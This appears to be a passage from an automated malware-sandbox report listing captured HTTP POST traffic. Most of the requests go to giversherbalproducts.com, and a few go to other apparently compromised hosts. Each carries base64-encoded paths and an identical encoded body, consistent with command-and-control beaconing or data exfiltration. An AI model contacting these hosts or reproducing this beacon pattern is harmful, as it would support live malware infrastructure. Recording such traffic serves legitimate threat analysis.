Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LAERIQwdGRp1Jgg8HhRGenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /IvyhnWs8j/GjkADyUYD3oKOx0lOD0KOCURIiw8CEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: muwatin.netContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /a9TmwEDR/HD0hGnwRJQ8CBTpyHQYeHg8EAAVzIEJ9dnlkenp3ZXhlfw== HTTP/1.1Host: nkp.hrContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MQkFdDsfQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HUN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /Y3kzp0WtE0/CA5yfg0zKSN5AXtDenV9ZXt9dGF5ZHg= HTTP/1.1Host: kvrassociates.netContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BBIhehwhcwoBHgACGgIbIBg+On8DKUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /4ByNgaVdId6/EQ8bRX5yeGV9eXNkeWJ8 HTTP/1.1Host: marianaleyton.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /eJDLM6siEv/InIlKh1yBS96NyYmLxgHJC4fRX5yeGV9eXNkeWJ8 HTTP/1.1Host: profitshub.inContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HCIIdQESfSk0F38yLScfOQk/LwZyekJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KBBCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/O3ISJh0lISkdGgFDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eCcMPD8NeSd1LSw+Hi1GenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CAY8NDwxeTEffCYaHHoWJ3hCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/cgYjBRp4DDoYNg88ESgfHggTDw0RQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/fAkNJgYyczEiIgEDQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HDMfexYCLQN8ejIsOUV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BkN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LSUDfRkPAQYVLC17IwcGAAMOHTciHiYPF39DenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HRksIwQOHDw7KBMPDCUeHgQnIxZCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/IxkBLygdGQ4pey95Ji4HDnk8NSYMBS04fAAnQn12eWR6endleGV/ HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CH56O30eDBI7IBMIKCYBLicRLTpCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/PQwlJSU8JC8lO31DenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/KX85G344OQ07N0J7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/ETg7OCExOR8LIxECPSMlHARCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GCYaJQk6DgYpLX8iLDQuHBIzPzcieQoPJ3sSE0V+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/Lit5Oh4tBDx8BCAjKTQqIx54OnoMeAQkRnpzeWJ+fXJlfmF4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/LAERIQwdGRp1Jgg8HhRGenN5Yn59cmV+YXg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MQkFdDsfQ3p1fWV7fXRheWR4 HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/GXp4GXY7InglByp7GkV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/P30OKQI7cygoLSMTeD8fHCgsHCpCe3J+YXp8c2J9ZXk= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HUN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/eRg9eDUFD0J9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/BBIhehwhcwoBHgACGgIbIBg+On8DKUJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/EUN6dX1le310YXlkeA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/HCIIdQESfSk0F38yLScfOQk/LwZyekJ9dnlkenp3ZXhlfw== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/DT49PxcRPXl/e0J7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/O3ISJh0lISkdGgFDenV9ZXt9dGF5ZHg= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/JAAiIH0BGjwHCQlyeiUJGz5zGjgSH3IHHB8pfEV+cnhlfXlzZHlifA== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/CAY8NDwxeTEffCYaHHoWJ3hCfXZ5ZHp6d2V4ZX8= HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Source: global traffic	HTTP traffic detected: POST /lBawcxb5/MwAYeSksIBEFOEJ7cn5henxzYn1leQ== HTTP/1.1Host: giversherbalproducts.comContent-Length: 76Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
